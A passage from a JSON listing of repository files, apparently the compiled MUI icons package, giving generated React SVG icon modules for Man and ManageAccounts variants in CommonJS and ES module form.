    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7H8v8h2.5v7h3v-7H16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2.5v7h3v-7H16V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2.5v7h3v-7H16V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2m-2-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2m-2-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2m-2-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2m-2-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6h1c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2m-2.35-1.1L10.1 4.35c-.2-.2-.2-.51 0-.71l1.54-1.54c.2-.2.51-.2.71 0l1.54 1.54c.2.2.2.51 0 .71L12.35 5.9c-.19.19-.51.19-.7 0\"\n}), 'Man3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6h1c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2m-2.35-1.1L10.1 4.35c-.2-.2-.2-.51 0-.71l1.54-1.54c.2-.2.51-.2.71 0l1.54 1.54c.2.2.2.51 0 .71L12.35 5.9c-.19.19-.51.19-.7 0\"\n}), 'Man3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7H8v8h2v7h4v-7h2zm-4-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7H8v8h2v7h4v-7h2zm-4-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2m-2-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2m-2-5.2486L14.2486 4 12 6.2486 9.7514 4z\"\n}), 'Man3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L10 22h4l1.73-12.74C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L10 22h4l1.73-12.74C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L10 22h4l1.73-12.74C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L10 22h4l1.73-12.74C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L9.82 20.7c.1.74.74 1.3 1.49 1.3h1.38c.75 0 1.39-.55 1.49-1.3l1.56-11.44C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L9.82 20.7c.1.74.74 1.3 1.49 1.3h1.38c.75 0 1.39-.55 1.49-1.3l1.56-11.44C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.96 7 10 22h4l2.04-15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.96 7 10 22h4l2.04-15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L10 22h4l1.73-12.74C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.75 7h-3.5C9.04 7 8.11 8.07 8.27 9.26L10 22h4l1.73-12.74C15.89 8.07 14.96 7 13.75 7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6h1c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6h1c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7H8v8h2v7h4v-7h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7H8v8h2v7h4v-7h2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'ManTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccounts.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.67 13.02c-.22-.01-.44-.02-.67-.02-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.79-1.13-1.26-2.51-1.26-4 0-1.07.25-2.07.67-2.98M20.75 16c0-.22-.03-.42-.06-.63l1.14-1.01-1-1.73-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1.01c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1.01 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1.01c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'ManageAccounts');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccounts.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.67 13.02c-.22-.01-.44-.02-.67-.02-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.79-1.13-1.26-2.51-1.26-4 0-1.07.25-2.07.67-2.98M20.75 16c0-.22-.03-.42-.06-.63l1.14-1.01-1-1.73-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1.01c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1.01 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1.01c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'ManageAccounts');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18v-.65c0-.34.16-.66.41-.81C6.1 15.53 8.03 15 10 15c.03 0 .05 0 .08.01.1-.7.3-1.37.59-1.98-.22-.02-.44-.03-.67-.03-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.42-.6-.75-1.28-.97-2zm6-6c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m10.75 10c0-.22-.03-.42-.06-.63l1.14-1.01-1-1.73-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1.01c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1.01 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1.01c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ManageAccountsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18v-.65c0-.34.16-.66.41-.81C6.1 15.53 8.03 15 10 15c.03 0 .05 0 .08.01.1-.7.3-1.37.59-1.98-.22-.02-.44-.03-.67-.03-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.42-.6-.75-1.28-.97-2zm6-6c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m10.75 10c0-.22-.03-.42-.06-.63l1.14-1.01-1-1.73-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1.01c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1.01 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1.01c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ManageAccountsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.67 13.02c-.22-.01-.44-.02-.67-.02-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V19c0 .55.45 1 1 1h8.26c-.79-1.13-1.26-2.51-1.26-4 0-1.07.25-2.07.67-2.98\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.75 16c0-.22-.03-.42-.06-.63l.84-.73c.18-.16.22-.42.1-.63l-.59-1.02c-.12-.21-.37-.3-.59-.22l-1.06.36q-.48-.405-1.08-.63l-.22-1.09c-.05-.23-.25-.4-.49-.4h-1.18c-.24 0-.44.17-.49.4l-.22 1.09q-.6.225-1.08.63l-1.06-.36c-.23-.08-.47.02-.59.22l-.59 1.02c-.12.21-.08.47.1.63l.84.73c-.03.21-.06.41-.06.63s.03.42.06.63l-.84.73c-.18.16-.22.42-.1.63l.59 1.02c.12.21.37.3.59.22l1.06-.36q.48.405 1.08.63l.22 1.09c.05.23.25.4.49.4h1.18c.24 0 .44-.17.49-.4l.22-1.09q.6-.225 1.08-.63l1.06.36c.23.08.47-.02.59-.22l.59-1.02c.12-.21.08-.47-.1-.63l-.84-.73c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'ManageAccountsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsRounded.mjs",
